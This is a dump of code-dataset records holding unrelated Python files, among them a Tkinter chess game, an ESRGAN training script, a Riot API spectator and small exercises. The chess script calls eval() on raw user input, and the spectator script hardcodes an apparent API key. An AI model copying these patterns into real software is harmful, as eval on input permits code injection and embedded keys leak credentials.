str(self.x) + \", \" + str(self.y) + \")\"\n\n __repr__ = __str__\n\nclass Piece:\n def __init__(self, color, x, y):\n self.m_color = color\n self.m_location = Location(x, y)\n\n @property\n def color(self):\n return self.m_color\n\n @color.setter\n def color(self, c):\n self.m_color = c\n\n @property\n def location(self):\n return self.m_location\n\n @location.setter\n def location(self, x, y):\n self.m_location = Location(x, y)\n\n def get_tile(self, piece_str):\n color = str(self.m_color).split(\".\")[1]\n color = color[0] + color[1:].lower()\n return piece_str + \".\" + str(color)\n\n def render(self):\n raise Exception(\"Render not implemented\")\n\n def valid_move(self, dst_x, dst_y):\n raise Exception(\"moves not implemented\")\n\nclass Pawn(Piece):\n # Everything will be represented in bits\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"Pawn\"\n return self.get_tile(piece_str)\n\n def valid_move(self, dst_x, dst_y):\n loc = self.m_location\n if self.m_color == Color.WHITE:\n if abs(dst_x - loc.x) == 1 and loc.y - dst_y == 1 and self.m_board[dst_y][dst_x].color == Color.BLACK:\n return True\n\n elif abs(dst_x - loc.x) == 0 and loc.y - dst_y >= 1 and loc.y - dst_y <= 2 and self.m_board[dst_y][dst_x] == EMPTY_SQUARE:\n return True\n\n elif self.m_color == Color.BLACK:\n if abs(dst_x - loc.x) == 1 and loc.y - dst_y == -1 and self.m_board[dst_y][dst_x].color == Color.WHITE:\n return True\n\n elif abs(dst_x - loc.x) == 0 and loc.y - dst_y >= 1 and loc.y - dst_y <= 2 and self.m_board[dst_y][dst_x] == EMPTY_SQUARE:\n return True\n\n\nclass Queen(Piece):\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"Queen\"\n return self.get_tile(piece_str)\n\nclass King(Piece):\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"King\"\n return self.get_tile(piece_str)\n\nclass Rook(Piece):\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"Rook\"\n return self.get_tile(piece_str)\n\nclass Bishop(Piece):\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"Bishop\"\n return self.get_tile(piece_str)\n\nclass Knight(Piece):\n def __init__(self, board, color, x, y):\n Piece.__init__(self, color, x, y)\n\n @property\n def tile(self):\n piece_str = \"Knight\"\n return self.get_tile(piece_str)\n\n\nclass Model(object):\n def __init__(self):\n '''create a chess board with pieces positioned for a new game\n row ordering is reversed from normal chess representations\n but corresponds to a top left screen coordinate\n '''\n self.board = []\n\n white_pieces = [Rook(self.board, Color.WHITE, 0, 0),\n Knight(self.board, Color.WHITE, 1, 0),\n Bishop(self.board, Color.WHITE, 2, 0),\n Queen(self.board, Color.WHITE, 3, 0),\n King(self.board, Color.WHITE, 4, 0),\n Bishop(self.board, Color.WHITE, 5, 0),\n Knight(self.board, Color.WHITE, 6, 0),\n Rook(self.board, Color.WHITE, 7, 0)]\n\n white_pawns = [Pawn(self.board, Color.WHITE, i, 0) for i in range(0, 8)]\n\n black_pieces = [Rook(self.board, Color.BLACK, 0, 0),\n Knight(self.board, Color.BLACK, 1, 0),\n Bishop(self.board, Color.BLACK, 2, 0),\n Queen(self.board, Color.BLACK, 3, 0),\n King(self.board, Color.BLACK, 4, 0),\n Bishop(self.board, Color.BLACK, 5, 0),\n Knight(self.board, Color.BLACK, 6, 0),\n Rook(self.board, Color.BLACK, 7, 0)]\n\n black_pawns = [Pawn(self.board, Color.BLACK, i, 0) for i in range(0, 8)]\n\n self.board.append(black_pieces)\n self.board.append(black_pawns)\n\n for i in range(4):\n self.board.append([EMPTY_SQUARE]*8)\n\n self.board.append(white_pawns)\n self.board.append(white_pieces)\n\n def validate_move(self, start, destination):\n start.i = int(start.i)\n start.j = int(start.j)\n destination.i = int(destination.i)\n destination.j = int(destination.j)\n\n if self.board[start.i][start.j] == EMPTY_SQUARE:\n return\n\n piece = self.board[start.i][start.j]\n\n\n def move(self, start, destination):\n ''' move a piece located at the start location to destination\n (each an instance of BoardLocation)\n Does not check whether the move is valid for the piece\n '''\n start.i = int(start.i)\n start.j = int(start.j)\n destination.i = int(destination.i)\n destination.j = int(destination.j)\n # error checking\n for c in [start, destination]: # check coordinates are valid\n if c.i > 7 or c.j > 7 or c.i <0 or c.j <0:\n return\n if start.i == destination.i and start.j == destination.j: # don't move to same location\n return\n\n if self.board[start.i][start.j] == EMPTY_SQUARE: #nothing to move\n return\n\n f = self.board[start.i][start.j]\n self.board[destination.i][destination.j] = f\n self.board[start.i][start.j] = EMPTY_SQUARE\n\n\nclass BoardLocation(object):\n def __init__(self, i, j):\n self.i = i\n self.j = j\n\nclass View(Frame):\n def __init__(self, parent = None):\n Frame.__init__(self, parent)\n self.canvas = Canvas(self, width=BOARD_WIDTH, height=BOARD_HEIGHT)\n self.canvas.pack()\n self.images = {}\n for image_file_name in TILES:\n f = os.path.join(DATA_DIR, TILES[image_file_name])\n if not os.path.exists(f):\n print((\"Error: Cannot find image file: %s at %s - aborting\"%(TILES[image_file_name], f)))\n exit(-1)\n self.images[image_file_name]= PhotoImage(file=f)\n '''This opens each of the image files, converts the data into a form that Tkinter\n can use, then stores that converted form in the attribute self.images\n self.images is a dictionary, keyed by the letters we used in our model to\n represent the pieces - ie PRNBKQ for white and prnbkq for black\n eg self.images['N'] is a PhotoImage of a white knight\n this means we can directly translate a board entry from the model into a picture\n '''\n self.pack()\n\n\n def clear_canvas(self):\n ''' delete everything from the canvas'''\n items = self.canvas.find_all()\n for i in items:\n self.canvas.delete(i)\n\n def draw_row(self, y, first_tile_white=True, debug_board = False):\n ''' draw a single row of alternating black and white tiles,\n the colour of the first tile is determined by first_tile_white\n if debug_board is set show the coordinates of each of the tile corners\n '''\n\n if first_tile_white:\n remainder = 1\n else:\n remainder = 0\n\n for i in range(8):\n x = i*TILE_WIDTH\n if i % 2 == remainder:\n # i %2 is the remainder after dividing i by 2\n # so i%2 will always be either 0 (no remainder- even numbers) or\n # 1 (remainder 1 - odd numbers)\n # this tests whether the number i is even or odd\n tile = self.images['black_tile']\n else:\n tile = self.images['white_tile']\n self.canvas.create_image(x, y, anchor = NW, image=tile)\n # NW is a constant in the Tkinter module. It stands for \"north west\"\n # that is, the top left corner of the picture is to be located at x,y\n # if we used another anchor, the grid would not line up properly with\n # the canvas size\n if debug_board: # implicitly this means if debug_board == True.\n ''' If we are drawing a debug board, draw an arrow showing top left\n and its coordinates. '''\n text_pos = (x+TILE_WIDTH/2, y+TILE_WIDTH/2)\n line_end = (x+TILE_WIDTH/4, y +TILE_WIDTH/4)\n self.canvas.create_line((x, y), line_end, arrow = FIRST)\n text_content = \"(%s,%s)\"%(x, y)\n self.canvas.create_text(text_pos, text=text_content)\n\n\n def draw_empty_board(self, debug_board = False):\n ''' draw an empty board on the canvas\n if debug_board is set show the coordinates of each of the tile corners'''\n y = 0\n for i in range(8): # draw 8 rows\n y = i*TILE_WIDTH\n # each time, advance the y value at which the row is drawn\n # by the length of the tile\n first_tile_white = not (i%2)\n self.draw_row(y, first_tile_white, debug_board )\n\n def draw_pieces(self, board):\n for i, row in enumerate(board):\n # using enumerate we get an integer index\n # for each row which we can use to calculate y\n # because rows run down the screen, they correspond to the y axis\n # and the columns correspond to the x axis\n for j, piece in enumerate(row):\n if piece == EMPTY_SQUARE:\n continue # skip empty tiles\n tile = self.images[piece.tile]\n x = j*TILE_WIDTH\n y = i*TILE_WIDTH\n self.canvas.create_image(x, y, anchor=NW, image = tile)\n\n def display(self, board, debug_board= False):\n ''' draw an empty board then draw each of the\n pieces in the board over the top'''\n\n self.clear_canvas()\n self.draw_empty_board(debug_board=debug_board)\n if not debug_board:\n self.draw_pieces(board)\n\n # first draw the empty board\n # then draw the pieces\n # if the order was reversed, the board would be drawn over the pieces\n # so we couldn't see them\n\n def display_debug_board(self):\n self.clear_canvas()\n self.draw_empty_board()\n\n\nclass Controller(object):\n def __init__(self, parent = None, model = None):\n if model is None:\n self.m = Model()\n else:\n self.m = model\n self.v = View(parent)\n ''' we have created both a model and a view within the controller\n the controller doesn't inherit from either model or view\n '''\n self.v.canvas.bind(\"\", self.handle_click)\n # this binds the handle_click method to the view's canvas for left button down\n\n self.clickList = []\n # I have kept clickList here, and not in the model, because it is a record of what is happening\n # in the view (ie click events) rather than something that the model deals with (eg moves).\n\n def run(self, debug_mode = False):\n self.update_display(debug_board=debug_mode)\n mainloop()\n\n def handle_click(self, event):\n ''' Handle a click received. The x,y location of the click on the canvas is at\n (event.x, event.y)\n First, we need to translate the event coordinates (ie the x,y of where the click occurred)\n into a position on the chess board\n add this to a list of clicked positions\n every first click is treated as a \"from\" and every second click as a\"to\"\n so, whenever there are an even number of clicks, use the most recent to two to perform a move\n then update the display\n '''\n j = event.x // TILE_WIDTH\n # the / operator is called integer division\n # it returns the number of times TILE_WIDTH goes into event.x ignoring any remainder\n # eg: 2/2 = 1, 3/2 = 1, 11/5 = 2 and so on\n # so, it should return a number between 0 (if x < TILE_WIDTH) though to 7\n i = event.y // TILE_WIDTH\n\n self.clickList.append(BoardLocation(i, j))\n # just maintain a list of all of the moves\n # this list shouldn't be used to replay a series of moves because that is something\n # which should be stored in the model - but it wouldn't be much trouble to\n # keep a record of moves in the model.\n if len(self.clickList) % 2 ==0:\n # move complete, execute the move\n self.m.move(self.clickList[-2], self.clickList[-1])\n # use the second last entry in the clickList and the last entry in the clickList\n self.update_display()\n\n def update_display(self, debug_board= False):\n self.v.display(self.m.board, debug_board = debug_board)\n\n\n def parse_move(self, move):\n ''' Very basic move parsing\n given a move in the form ab-cd where a and c are in [a,b,c,d,e,f,g,h]\n and b and d are numbers from 1 to 8 convert into BoardLocation instances\n for start (ab) and destination (cd)\n Does not deal with castling (ie 0-0 or 0-0-0) or bare pawn moves (e4)\n or capture d4xe5 etc\n No error checking! very fragile\n '''\n\n s, d = move.split(\"-\")\n\n i = 8- int(s[-1]) # board is \"upside down\" with reference to the representation\n j = column_reference.index(s[0])\n start = BoardLocation(i, j)\n\n i = 8- int(d[-1])\n j= column_reference.index(d[0])\n destination = BoardLocation(i, j)\n\n return start, destination\n\nif __name__==\"__main__\":\n if not os.path.exists(DATA_DIR):\n ''' basic check - if there are files missing from the data directory, the\n program will still fail '''\n dl = eval(input(\"Cannot find chess images directory. Download from website? (Y/n)\"))\n if dl.lower() == \"n\":\n print(\"No image files found, quitting.\")\n exit(0)\n print((\"Creating directory: %s\"%os.path.join(os.getcwd(), DATA_DIR)))\n import urllib.request, urllib.parse, urllib.error\n\n os.mkdir(DATA_DIR)\n url_format= \"http://python4kids.files.wordpress.com/2013/04/%s\"\n for k, v in list(TILES.items()):\n url = url_format%v\n target_filename = os.path.join(DATA_DIR, v)\n print((\"Downloading file: %s\"%v))\n urllib.request.urlretrieve(url, target_filename)\n\n parent = Tk()\n c = Controller(parent)\n c.run(debug_mode= False)\n","repo_name":"ssarangi/chess","sub_path":"chess.py","file_name":"chess.py","file_ext":"py","file_size_in_byte":16576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10882675522","text":"\"\"\" Default urlconf for webapp \"\"\"\n\nfrom django.conf import settings\nfrom django.conf.urls import include, patterns, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nadmin.autodiscover()\n\n\ndef bad(request):\n \"\"\" Simulates a server error \"\"\"\n 1 / 0\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'webapp.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^o/', include('oauth2_provider.urls',\n namespace='oauth2_provider')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^swimapp/', include('swimapp.urls')),\n url(r'^api/', include('api.urls')),\n url(r'^bad/$', bad),\n url(r'', include('base.urls')),\n)\n\nurlpatterns += static(settings.STATIC_URL,\n document_root=settings.STATIC_ROOT)\n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns += patterns('',\n url(r'^__debug__/', include(debug_toolbar.urls)),\n )\n","repo_name":"mbasanta/swimtimerwebapp","sub_path":"webapp/webapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28150821002","text":"from time import time\nimport os\nimport argparse\nimport ast\nimport numpy as np\nimport cv2\nimport mindspore\nimport mindspore.common.dtype as mstype\nfrom mindspore import nn\nfrom mindspore.train.serialization import load_param_into_net, load_checkpoint\nfrom mindspore.ops import operations as ops\nfrom mindspore import Tensor, context\nfrom mindspore.common import set_seed\nfrom mindspore.context import ParallelMode\nfrom mindspore.communication.management import init, get_rank, get_group_size\nfrom mindspore.train.callback import (\n CheckpointConfig,\n ModelCheckpoint,\n _InternalCallbackParam,\n RunContext,\n)\nfrom mindspore.ops import composite as C\n\nfrom src.model.RRDB_Net import RRDBNet\nfrom src.model.discriminator_net import VGGStyleDiscriminator128\nfrom src.model.cell import GeneratorLossCell, DiscriminatorLossCell, TrainOneStepCellDis, TrainOneStepCellGen\nfrom src.config.config import ESRGAN_config\nfrom src.dataset.dataset_DIV2K import get_dataset_DIV2K\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\"ESRGAN\")\n parser.add_argument('--device_target', type=str,\n default=\"Ascend\", help='Platform')\n parser.add_argument('--device_id', type=int,\n default=7, help='device_id')\n parser.add_argument(\n \"--aug\", type=bool, default=True, help=\"Use augement for dataset\"\n )\n parser.add_argument(\"--loss_scale\", type=float,\n default=1024.0, help=\"loss scale\")\n parser.add_argument('--data_dir', type=str,\n default=None, help='Dataset path')\n parser.add_argument(\"--batch_size\", type=int, default=16, help=\"batch_size\")\n parser.add_argument(\"--epoch_size\", type=int,\n default=20, help=\"epoch_size\")\n parser.add_argument('--Giters', type=int, default=2, help='number of G iters per each D iter')\n parser.add_argument(\"--rank\", type=int, default=1,\n help=\"local rank of distributed\")\n parser.add_argument(\n \"--group_size\", type=int, default=0, help=\"world size of distributed\"\n )\n parser.add_argument(\n \"--keep_checkpoint_max\", type=int, default=40, help=\"max checkpoint for saving\"\n )\n parser.add_argument(\n \"--model_save_step\", type=int, default=5000, help=\"step num for saving\"\n )\n parser.add_argument('--Gpretrained_path', type=str, default=\"psnr.ckpt\")\n parser.add_argument('--experiment', default=\"./images\", help='Where to store samples and models')\n parser.add_argument(\"--run_distribute\", type=ast.literal_eval,\n default=False, help=\"Run distribute, default: false.\")\n # Modelarts\n args, _ = parser.parse_known_args()\n return args\n\n\n# save image\ndef save_img(img, img_name,save_dir):\n save_img = C.clip_by_value(img.squeeze(), 0, 1).asnumpy().transpose(1, 2, 0)\n # save img\n save_fn = save_dir + '/' + img_name\n cv2.imwrite(save_fn, cv2.cvtColor(save_img * 255, cv2.COLOR_BGR2RGB), [cv2.IMWRITE_PNG_COMPRESSION, 0])\n\ndef train():\n args_opt = parse_args()\n config = ESRGAN_config\n context.set_context(mode=context.GRAPH_MODE,device_target=\"Ascend\", device_id=args_opt.device_id, save_graphs=False)\n # Device Environment\n if args_opt.run_distribute:\n if args_opt.device_target == \"Ascend\":\n rank = args_opt.device_id\n # device_num = device_num\n context.set_auto_parallel_context(device_num=device_num, parallel_mode=ParallelMode.DATA_PARALLEL,\n gradients_mean=True)\n init()\n else:\n init(\"nccl\")\n context.reset_auto_parallel_context()\n rank = get_rank()\n device_num = get_group_size()\n context.set_auto_parallel_context(device_num=device_num, parallel_mode=ParallelMode.DATA_PARALLEL,\n gradients_mean=True)\n else:\n rank = 0\n device_num = 1\n dataset, dataset_len = get_dataset_DIV2K(\n base_dir=\"./data/lw\", downsample_factor=config[\"down_factor\"], mode=\"train\", aug=args_opt.aug, repeat=10, batch_size=args_opt.batch_size,shard_id=args_opt.group_size,shard_num=args_opt.rank,num_readers=4)\n dataset_iter = dataset.create_dict_iterator()\n generator = RRDBNet(\n in_nc=config[\"ch_size\"],\n out_nc=config[\"ch_size\"],\n nf=config[\"G_nf\"],\n nb=config[\"G_nb\"],\n )\n discriminator = VGGStyleDiscriminator128(\n num_in_ch=config[\"ch_size\"], num_feat=config[\"D_nf\"])\n param_dict = load_checkpoint(args_opt.Gpretrained_path)\n load_param_into_net(generator, param_dict)\n # Define network with loss\n G_loss_cell = GeneratorLossCell(generator, discriminator,config[\"vgg_pretrain_path\"])\n D_loss_cell = DiscriminatorLossCell(discriminator)\n lr_G = nn.piecewise_constant_lr(\n milestone=config[\"lr_steps\"], learning_rates=config[\"lr_G\"]\n )\n lr_D = nn.piecewise_constant_lr(\n milestone=config[\"lr_steps\"], learning_rates=config[\"lr_D\"]\n )\n optimizerD = nn.Adam(discriminator.trainable_params(\n ), learning_rate=lr_D, beta1=0.5, beta2=0.999,loss_scale=args_opt.loss_scale)\n optimizerG = nn.Adam(generator.trainable_params(\n ), learning_rate=lr_G, beta1=0.5, beta2=0.999,loss_scale=args_opt.loss_scale)\n\n # Define One step train\n G_trainOneStep = TrainOneStepCellGen(G_loss_cell, optimizerG)\n D_trainOneStep = TrainOneStepCellDis(D_loss_cell, optimizerD)\n\n # Train\n G_trainOneStep.set_train()\n D_trainOneStep.set_train()\n\n print('Start Training')\n\n ckpt_config = CheckpointConfig(\n save_checkpoint_steps=args_opt.model_save_step,keep_checkpoint_max=args_opt.keep_checkpoint_max)\n ckpt_cb_g = ModelCheckpoint(\n config=ckpt_config, directory=\"./checkpoints\", prefix='Generator')\n ckpt_cb_d = ModelCheckpoint(\n config=ckpt_config, directory=\"./checkpoints\", prefix='Discriminator')\n\n cb_params_g = _InternalCallbackParam()\n cb_params_g.train_network = generator\n cb_params_g.cur_step_num = 0\n cb_params_g.batch_num = args_opt.batch_size\n cb_params_g.cur_epoch_num = 0\n cb_params_d = _InternalCallbackParam()\n cb_params_d.train_network = discriminator\n cb_params_d.cur_step_num = 0\n cb_params_d.batch_num = args_opt.batch_size\n cb_params_d.cur_epoch_num = 0\n run_context_g = RunContext(cb_params_g)\n run_context_d = RunContext(cb_params_d)\n ckpt_cb_g.begin(run_context_g)\n ckpt_cb_d.begin(run_context_d)\n start = time()\n minibatch = args_opt.batch_size\n ones = ops.Ones()\n zeros = ops.Zeros()\n real_labels = ones((minibatch, 1), mindspore.float32) \n fake_labels = zeros((minibatch, 1), mindspore.float32)+Tensor(np.random.random(size=(minibatch,1)),dtype=mindspore.float32)*0.05\n num_iters = config[\"niter\"]\n for iterator in range(num_iters):\n data = next(dataset_iter)\n inputs = data[\"inputs\"]\n real_hr = data[\"target\"]\n generator_loss_all = G_trainOneStep(inputs, real_hr, fake_labels, real_labels)\n fake_hr = generator_loss_all[0]\n generator_loss = generator_loss_all[1]\n if (iterator + 1) % args_opt.Giters == 0:\n discriminator_loss = D_trainOneStep(fake_hr,real_hr)\n if (iterator + 1) % 500 == 0:\n print('%d:[%d/%d]Loss_D: %10f Loss_G: %10f'\n % ((iterator+1)//dataset_len,iterator,num_iters,\n np.sum(discriminator_loss.asnumpy()), generator_loss.asnumpy()))\n save_img(real_hr[0], 'real_samples_{0}.png'.format(iterator + 1),args_opt.experiment)\n save_img(fake_hr[0], 'fake_samples_{0}.png'.format(iterator + 1),args_opt.experiment)\n \nif __name__ == \"__main__\":\n train()","repo_name":"Mind23-2/MindCode-40","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37838562784","text":"#q9\r\nclass Parentheses:\r\n def __init__(self, string):\r\n self.string = string\r\n \r\n def is_valid(self):\r\n stack = []\r\n for char in self.string:\r\n if char in [\"(\", \"{\", \"[\"]:\r\n stack.append(char)\r\n elif char in [\")\", \"}\", \"]\"]:\r\n if not stack:\r\n return False\r\n current_char = stack.pop()\r\n if char == \")\" and current_char != \"(\":\r\n return False\r\n elif char == \"}\" and current_char != \"{\":\r\n return False\r\n elif char == \"]\" and current_char != \"[\":\r\n return False\r\n return not stack\r\n\r\n# Test the class\r\nstring1 = \"()\"\r\nstring2 = \"()[]{}\"\r\nstring3 = \"[)\"\r\nstring4 = \"({[)]\"\r\nstring5 = \"{{{\"\r\n\r\np1 = Parentheses(string1)\r\np2 = Parentheses(string2)\r\np3 = Parentheses(string3)\r\np4 = Parentheses(string4)\r\np5 = Parentheses(string5)\r\n\r\nprint(p1.is_valid())\r\nprint(p2.is_valid())\r\nprint(p3.is_valid())\r\nprint(p4.is_valid())\r\nprint(p5.is_valid())","repo_name":"Rohan-trivedi-13/itc","sub_path":"as 6/as6q9.py","file_name":"as6q9.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7110431940","text":"import logging\n\nfrom flask.views import MethodView\nfrom flask_jwt_extended import get_current_user, jwt_required\nfrom flask_smorest import Blueprint\n\nfrom ..helpers import get_sn_config, Table\n\nlogger = logging.getLogger(__name__)\n\nblp = Blueprint('ui_data', __name__, url_prefix='/ui-data')\n\n\n@blp.route('/incidents')\nclass IncidentUIData(MethodView):\n\n @jwt_required\n def get(self):\n current_user = get_current_user()\n # claims = get_request_claims()\n sn_config = get_sn_config(current_user)\n\n sys_choice = Table('sys_choice', sn_config=sn_config)\n query = (\n sys_choice.inactive.eq('false')\n & sys_choice.name.eq('incident')\n | sys_choice.name.eq('task')\n )\n\n resp = sys_choice.get_all(\n query=query,\n fields=[\n 'element',\n 'value',\n 'label',\n 'language',\n 'dependent_value'\n ],\n limit=1000\n )\n\n raw_items = resp.json().get('result')\n\n return {\n 'items': raw_items,\n 'num_items': len(raw_items),\n }\n","repo_name":"WonderCode22/servicenow_component","sub_path":"service_now_service/routes/ui_data.py","file_name":"ui_data.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"30331518006","text":"import json\nimport time\nfrom riotwatcher import RiotWatcher\n\nfrom static import Static\nfrom history import MatchHistory\nfrom match import *\nfrom util import do_slowly\n\n# https://mushroom.teemo.gg/\n\nclass Spectator:\n\n def __init__(self, api_key, region, summoner):\n\n self.API_KEY = api_key\n self.region = region\n self.summoner = summoner\n self.data = {}\n self.processing = {}\n\n self.watcher = RiotWatcher(self.API_KEY)\n\n self.me = self.watcher.summoner.by_name(self.region, self.summoner)\n\n #tim = self.watcher.summoner.by_name(self.region, 'Timmaable')\n\n #res = self.watcher.spectator.by_summoner(self.region, tim['id'])\n #print(res)\n\n self.static = Static(region, self.watcher)\n\n def load(self):\n self.history = MatchHistory()\n self.history.build_history(self.region, self.me['accountId'], self.watcher)\n self.history.save()\n\n def f(self):\n h = MatchHistory(self.me['accountId'])\n h.load()\n count = 0\n\n print(len(h))\n\n other_players = {}\n\n candidates = []\n for match in h.items:\n if match not in candidates:\n candidates.append(match)\n\n print(len(candidates))\n\n for match in candidates:\n count += 1\n print(count)\n do_slowly('riot_api', initial_count=1)\n players = self.watcher.match.by_id(self.region, match['gameId']['participantIdentities'])\n for player in players:\n if player['player']['accountId'] != self.me['accountId']:\n if player['player']['summonerName'] in other_players:\n n, ref = other_players[player['player']['summonerName']]\n ref.append(match)\n other_players[player['player']['summonerName']] = n + 1, ref\n else:\n other_players[player['player']['summonerName']] = 1, [match]\n print([(player, other_players[player][0]) for player in other_players if other_players[player][0] > 1])\n\nspec = Spectator('RGAPI-0197ae7d-bca8-4bf1-8490-88480a80d571', 'euw1', 'Anzeige ist raus')\nspec.load()\n#for i in range(10000):\n# print(spec.do_slowly(max, range(i+1)))\n\n#print(spec.static.get_champs())\n","repo_name":"TheodorStraube/spectator","sub_path":"matches.py","file_name":"matches.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5454384465","text":"# x es divisible entre y? es decir de forma exacta (da 0)\n\n\ndef leap(y):\n\n if y % 4 == 0: # % para que me de 0, si me cumple esta se va a abajo\n\n if y % 100 == 0: #Aqui es divisible entre 100 y por lo tanto no es biciesto\n\n if y % 400 == 0:\n return True\n\n else:\n return False\n \n else:\n return True\n else:\n return False #La primera letra en mayuscula, no es biciesto\n\ndef num_dias_mes(m, y):\n if m in (1, 3, 5, 7, 8, 10, 12):\n return 31\n elif m == 2:\n if leap(y):\n return 29\n else:\n return 28\n else:\n return 30\n \ndef next_day(y, m, d):\n if m == 12 and d == num_dias_mes(m, y):\n return y + 1, 1, 1 # se regresa al primero de enero del año siguiente\n elif d == num_dias_mes(m, y):\n return y, m + 1, 1\n else: \n return y, m, d + 1\n \ndef main():\n print(leap(2015))\n print(leap(2016))\n print(leap(2000))\n print(leap(2100))\n print(next_day(2015, 2, 13))\n print(next_day(2015, 2, 28))\n print(next_day(2016, 2, 28))\n print(next_day(2016, 12, 31))\n\n \nmain() \n \n# Los caminos deben de llegar a un resultado cada if tiene que venir con un else\n ","repo_name":"CertifiedErickBaps/Python36","sub_path":"Condiconal If/leap year.py","file_name":"leap year.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12581243567","text":"import math\n\ndef solution(fees, records):\n answer = []\n dic = {}\n fee_dic = {}\n numbers = []\n\n OUT_TIME = 23 * 60 + 59\n\n for record in records: # 0 = time, 1 = num , 2 = i/o\n\n keys = record.split()\n time = keys[0].split(\":\")\n time_m = int(time[0]) * 60 + int(time[1])\n if keys[1] in dic:\n dic[keys[1]].append(time_m)\n else :\n dic[keys[1]] = [time_m]\n fee_dic[keys[1]] = 0\n numbers.append(keys[1])\n [300, 350, 360 , out_time]\n\n\n for key in dic:\n sum_time = 0\n if len(dic[key]) % 2 == 1:\n dic[key].append(OUT_TIME)\n\n for i in range(1,len(dic[key]),2):\n sum_time += dic[key][i] - dic[key][i-1]\n if sum_time < fees[0]:\n fee_dic[key] = fees[1]\n else : \n fee_dic[key] = fees[1] + math.ceil((sum_time - fees[0]) / fees[2]) * fees[3] \n\n \n numbers.sort()\n for key in numbers:\n answer.append(int(fee_dic[key]))\n \n return answer\n","repo_name":"rieull0225/algorithm","sub_path":"kakao3.py","file_name":"kakao3.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9622655221","text":"import gradio as gr\nimport torch\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nmodel=torch.load('shufflenetmodel.pth')\nmodel.eval()\n\nimport dataloader as dtl\ndata_dir = \"data/train\"\ntrainloader, testloader = dtl.load_split_train_test(data_dir, .2)\n\ndef inference(input_image):\n preprocess = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n input_tensor = preprocess(input_image)\n # create a mini-batch as expected by the model\n input_batch = input_tensor.unsqueeze(0)\n # move the input and model to GPU for speed if available\n if torch.cuda.is_available():\n input_batch = input_batch.to('cuda')\n model.to('cuda')\n with torch.no_grad():\n output = model(input_batch)\n # The output has unnormalized scores. To get probabilities, we will run a softmax on it.\n probabilities = torch.nn.functional.softmax(output[0], dim=0)\n # Show top categories per image\n categories = trainloader.dataset.classes\n top3_prob, top3_catid = torch.topk(probabilities, 3)\n result = {}\n for i in range(top3_prob.size(0)):\n result[categories[top3_catid[i]]] = top3_prob[i].item()\n return result\n\n# Variables for gradio interface\ninputs = gr.inputs.Image(type='pil')\noutputs = gr.outputs.Label(type=\"confidences\",num_top_classes=3)\ntitle = \"SHUFFLENET\"\ndescription = \"Please upload your headphones, coffee or reiven image.\"\n","repo_name":"rutkaite/dl-assignments","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3135575048","text":"import math\r\n\r\nprint(\"Program Menghitung Luas dan Volume Limas Segitiga\")\r\n\r\n#Programmer : Nur Iskandar S\r\n#NIM : 220511009\r\n#Pertemuan : 1\r\n#Tanggal : 22 Oktober 2023\r\n\r\n#input nilai\r\nalas = float(input(\"Masukkan panjang sisi alas limas segitiga: \"))\r\ntinggi = float(input(\"Masukkan tinggi limas segitiga: \"))\r\nsisi_tegak = float(input(\"Masukkan panjang sisi tegak limas segitiga: \"))\r\n\r\n#rumus\r\nluas_alas = 0.5 * alas * tinggi\r\nluas_tegak = 3 * (alas * sisi_tegak) / 2\r\nluas = luas_alas + luas_tegak\r\nvolume = (luas_alas * tinggi) / 3\r\n\r\n#output\r\nprint(f\"Luas: {luas}\")\r\nprint(f\"Volume: {volume}\")\r\n","repo_name":"nuriskandarsyah/Tugas-Python","sub_path":"python/5. limas segitiga.py","file_name":"5. limas segitiga.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39147274769","text":"'''\nQuestion :\nYou have been given a dictionary of movie(key) and cat(value)\ncollection = {\"The Last samurai\":\"Tom Cruise, Ken\", \"Justice League\":\"Cavil, Gadot\", \"MI\":\"Tom Cruise\"}\nPrint a list of movies, where cruise is not a part of cast.\nOutput:\n['Justice League']\n'''\ncollection = {\"The Last samurai\":\"Tom Cruise, Ken\", \"Justice League\":\"Cavil, Gadot\", \"MI\":\"Tom Cruise\"}\n\nres = [movie for movie in collection.keys() if('Cruise' 